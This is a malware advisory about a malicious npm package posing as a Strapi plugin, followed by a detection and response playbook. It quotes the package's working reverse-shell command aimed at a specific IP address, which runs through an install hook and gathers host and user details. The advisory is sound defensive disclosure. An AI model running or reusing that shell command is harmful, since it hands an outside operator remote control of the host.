What this malware does

[email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i >& /dev/tcp/14.225.210.85/80 0>&1 and exec's it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer's host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for strapi-plugin-feedmeeb (version 3.6.8).

  2. If you installed it — respond

    strapi-plugin-feedmeeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-feedmeeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. strapi-plugin-feedmeeb on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.
